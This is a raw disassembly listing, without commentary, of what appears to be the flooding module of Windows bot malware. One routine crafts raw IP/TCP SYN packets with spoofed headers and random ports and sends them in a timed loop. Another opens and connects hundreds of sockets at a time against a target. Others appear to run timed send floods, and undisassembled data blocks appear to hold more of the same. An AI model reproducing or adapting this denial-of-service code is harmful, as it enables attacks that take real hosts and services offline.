		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27A0B19h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022DD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A184o
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Dh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022DCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022DCDh
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 2DCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0F1E85359h, 90022DCBh
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D761E800h
		dd 50900228h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Dh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 27CE57E8h
		dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 2DC9DBE8h
		db 2, 90h
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 0C93EE856h, 5F90022Dh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		call	near ptr 26903FCh
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2DC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27A0B19h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27A0B19h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22DC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 2DC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22DC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22DC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
